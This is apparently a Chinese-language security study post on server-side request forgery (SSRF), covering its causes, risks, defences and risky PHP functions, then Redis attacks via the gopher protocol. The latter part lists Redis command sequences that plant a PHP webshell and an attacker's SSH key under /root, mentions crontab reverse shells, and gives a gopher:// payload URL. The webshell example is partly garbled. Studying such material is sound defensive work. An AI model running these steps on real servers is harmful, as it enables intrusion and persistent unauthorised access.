SSRF漏洞原理和利用

文章目录

  • SSRF
      • SSRF漏洞危害
      • SSRF漏洞防御及修复
      • SSRF相关危险函数
    • ssrf漏洞利用
      • redis配合gopher协议进行ssrf
      • redis常见的ssrf攻击方式大概有如下几种:

SSRF

服务器请求伪造
SSRF漏洞原理和利用_第1张图片可以看到,SSRF是基于一些其他漏洞,比如XXE,文件包含等,XXE参数访问其他网站的实体,就向改网站发起了请求
比如文件包含的远程文件包含

攻击者转给服务器,让服务器向其他网站发起请求
(那就需要知道其他网站的内网IP)

SSRF漏洞危害

  • 端口扫描
  • 内网web应用指纹识别
  • 攻击内网web应用

SSRF漏洞防御及修复

  • 限制请求的端口只能为web端口,只允许1访问HTTP和HTTPS的请求
  • 限制白名单
  • 禁止30x跳转
  • 屏蔽返回的详细信息

SSRF相关危险函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取的函数以PHP为例,涉及到的函数有

  1. file_get_contents()——file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取
  2. fsockopen()—— fsockopen是打开一个网络连接或者Unix套接字连接
  3. curl_exec)——利用方式很多,最常见的是通过file、dict、gopher这三个协议来进行渗透

SSRF漏洞原理和利用_第2张图片进行SSRF攻击的三个问题:
1.如何知道内网网端
2.如何知道该网端开启的服务
3.如何知道这项服务所使用的cms

ssrf漏洞利用

redis配合gopher协议进行ssrf

  1. gopher是ssrf中的万金油,利用此协议可以攻击内网的redis,ftp等,也可以发送get.post请求
  2. 利用条件:能未授权或者弱口令认证访问到redis服务器
  3. redis服务器特点
    1.未授权访问。在访问redis数据库时,不需要提供用户名和密码
    2.具有root权限
    3.可以读写文件
    4.默认端口号为6379

redis常见的ssrf攻击方式大概有如下几种:

1.绝对路径写webshell
前提:知道web的绝对路径

fullshall
set 1' '
config set dir /var/www/html
config set dbfilename shell.php
save

2.写ssh公钥
前提:目标机开启ssh服务
说明:如果.ssh目录存在,则直接写入~/.ssh/authorized_keys;如果不存在,则可以用crontab创建该目录
方法:本地生成rsa公私钥对,将公钥通过redis写入.ssh目录下的authorized-key文件下,实现ssh免密登录

flushall
set 1 '生成的RSA公私钥对'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

3.写contrab计划任务反弹shell
SSRF漏洞原理和利用_第3张图片

dict伪协议:一般用于端口探测

用gopher协议get或post提交上述payload,提交的内容不要url编码
python脚本生成

?url=gopher://192.168.3.29:6379/.....

这三种方法能攻击成功的前提都是:redis是以root权限运行的

你可能感兴趣的:(ctf,web,安全,web安全,网络)